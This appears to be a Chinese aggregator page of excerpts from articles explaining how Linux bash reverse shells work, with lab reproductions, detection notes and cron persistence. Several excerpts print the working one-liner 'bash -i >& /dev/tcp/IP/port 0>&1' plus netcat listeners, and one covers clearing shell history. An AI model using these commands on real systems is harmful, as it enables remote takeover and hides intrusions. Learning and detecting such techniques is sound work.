[转帖]Linux之bash反弹shell原理浅析】的更多相关文章

    最近,一起做安全测试的兄弟问我:Linux反弹shell的命令是什么,我毫不犹豫地在笔记中找到发给了他,可是脑海中突然闪过有个疑问,为啥这样能反弹shell呢,用了那么多次却从来没有想过这个问题.这是一篇原理的介绍,也是给自己提的一个醒:盲目机械地工作着,没有多少思考的时间,在忙碌中已经找不到工作的本质和初心.     Linux反弹shell的指令如下: bash -i >& /dev/tcp/ip/port 0>&1   1 bash -i >& /d…
前言 当我们在渗透Linux主机时,反弹一个交互的shell是非常有必要的.在搜索引擎上搜索关键字“Linux 反弹shell”,会出现一大堆相关文章,但是其内容不但雷同,而且都仅仅是告诉我们执行这个命令就可以反弹shell了,却没有一篇文章介绍这些命令究竟是如何实现反弹shell的.既然大牛们懒得科普,那我就只好自己动手了.本文就来探讨一下相关命令实现的原理. Bash 这篇文章的起因就是网上给的Bash反弹shell的实现:1bash -i >& /dev/tcp/10.0.0.1/80…
1. 反弹Shell的概念本质 所谓的反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端. 本文会先分别讨论: 命令执行(system executor) 网络通信(network api) 这两个基础原子概念,然后在之后的章节中用组合的方式来呈现现在主流的反弹shell技术方式及其原理,用这种横向和纵向拆分的方式来帮助读者朋友更好地理解反弹shell. 2. 网络通信(network api)方式讨论 0…
用bash反弹shell 受害主机:linux系统 攻击机:需要安装netcat(nc) 受害主机执行:ifconfig  ## 查看受害主机ip 攻击机执行:nc -lvp 19999 ## 在攻击机监听19999端口 受害主机执行:bash -i &> /dev/tcp/[攻击机ip]/[攻击机监听端口] 0>&1  ##反弹shell,bash是linux shell的一种,-i是指创建一个交互式的shell,&>是指将正确错误的输入输出都输到文件里,不显示…
1.进程 file descriptor 异常检测 检测 file descriptor 是否指向一个socket 以重定向+/dev/tcp Bash反弹Shell攻击方式为例,这类反弹shell的本质可以归纳为file descriptor的重定向到一个socket句柄. 2.检测 file descriptor 是否指向一个管道符(pipe) 对于利用"管道符"传递指令的反弹shell攻击方式来说,这类反弹shell的本质可以归纳为file descriptor的重定向到一个pi…
实验环境 CentOS 6.5:192.168.0.3 kali2.0:192.168.0.4 方法1: 反弹shell命令如下: bash -i >& /dev/tcp/ip/port 0>&1 首先,使用nc在kali上监听端口: 然后在CentOS6.5下输入: bash -i >& /dev/tcp/192.168.0.4/7777 0>&1 可以看到shell成功反弹到了kali上面,可以执行命令: 在解释这条反弹shell的命令原理之前,…
part1:不求甚解的本地复现 攻击端Debian 10.x:  192.168.208.134 受害端Ubuntu : 192.168.208.135 攻击端打开(监听)某端口:  键入命令:[nc -lvp 8080] 受害端执行反弹shell: 键入命令:[bash -i >& /dev/tcp/192.168.208.134/8080 0>&1] 效果: 可以在攻击机上操作受害机的终端. part2:尝试理解原理 (1) nc -lvp 8080 -l  设置netca…
反弹shell背景: 想要搞清楚这个问题,首先要搞清楚什么是反弹,为什么要反弹.假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接.远程桌面,web服务,ssh,telnet等等,都是正向连接. 那么什么情况下正向连接不太好用了呢?1.某客户机中了你的网马,但是它在局域网内,你直接连接不了.它的ip会动态改变,你不能持续控制.2.由于防火墙等限制,对方机器只能发送请求,不能接收请求.3.对于病毒,木马,…
linux 清空history以及记录原理 自己的linux 里面总是一堆 乱七八槽输错的命令 用这个办法 可以清空 linux的内容. 清爽一些. 1.当前session执行的命令,放置缓存中,执行exit时,把缓存信息写入~/.bash_history 2.当session直接被kill时,缓存中的历史命令不会写入~/.bash_history 3.正确清空当前用户的history的方法 注意执行完 history -c 之后要强制 关闭连接 要是执行后续命令的话 依旧会记录下来 histo…
日期:2018-11-26 13:47:34 介绍:如何使用定时任务来反弹 shell? 0x01. 基本命令 参数 -e:编辑该用户的计时器设置: -l:列出该用户的计时器设置: -r:删除该用户的计时器设置: -u <用户名称>:指定要设定计时器的用户名称. MAC 直接使用 crontab -e 无效: 编辑 username 的 crontab $ sudo crontab -u username -e 列出 username 的 crontab,查看编辑后的数据 $ crontab…